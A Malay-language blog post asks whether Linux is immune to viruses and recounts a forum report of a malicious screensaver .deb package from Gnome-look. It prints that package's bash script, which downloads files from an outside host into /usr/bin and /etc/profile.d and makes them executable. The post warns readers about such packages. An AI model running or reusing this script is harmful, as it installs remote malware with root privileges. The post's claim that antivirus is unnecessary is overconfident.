Mesti Baca : Adakah linux masih 100% invisible dari virus?

Saya merupakan seorang pengguna ubuntu linux yang sebab awalnya beralih menggunakan ubuntu kerana masalah virus dan antivirus dalam sistem operasi windows. Namun apabila muncul persoalan ini, saya masih boleh menjamin bahawa sepanjang 3~4 tahun menggunakan ubuntu, saya tidak pernah berhadapan dengan apa-apa masalah virus dalam ubuntu. Tetapi disini saya ingin menarik perhatian pembaca tentang satu peristiwa berikut;

Seorang pengguna ubuntu telah melaporkan satu perkara yang mengemparkan dalam forum ubuntu. Conorsulli mengatakan beliau telah muatturun satu fail DEB screensaver dari Gnome-look dan apabila dipasang, ia tidak menambahkan screensaver baru ke dalam list screensaver. Apabila diperiksa code package tersebut, beliau mendapati salah satu failnya mempunyai sesuatu yang mengejutkan kerana ia tertulis satu bash script seperti berikut;

#!/bin/sh
cd /usr/bin/
rm Auto.bash
sleep 1
wget http://05748.t35.com/Bots/Auto.bash
chmod 777 Auto.bash
echo -----------------
cd /etc/profile.d/
rm gnome.sh
sleep 1
wget http://05748.t35.com/Bots/gnome.sh
chmod 777 gnome.sh
echo -----------------
clear
exit


Saya tidak expert dalam bash script tetapi saya boleh beritahu script ini boleh menjadi apa sahaja yang dimahukan oleh penciptanya. Ia mampu mengantikan beberapa fail dalam folder system /usr/bin/ dan diganti dengan fail yang diciptanya. Apa yang bahaya ialah ia memperolehi keistimewaan root kerana pengguna memasukkan password tersebut ketika cuba memasang package DEB itu tadi.

Secara istilahnya, ancaman seperti diatas dipanggil botnet.

Apa yang perlu dilakukan?

1 - Hanya gunakan repository rasmi atau yang diketahui dan disyorkan sahaja.
2 - Elak software .DEB atau .RPM dari sumber-sumber yang tidak diketahui

Perlukah memakai antivirus?

Tak perlu. Dengan 2 langkah pencegahan diatas, ubuntu linux anda adalah selamat. Ini kerana dalam ubuntu tidak ada fungsi  autorun, dan fail apa pun tidak disetkan secara default sebagai executable disamping virus perlu mendapat root password sebelum boleh 'mencederakan' system ubuntu anda.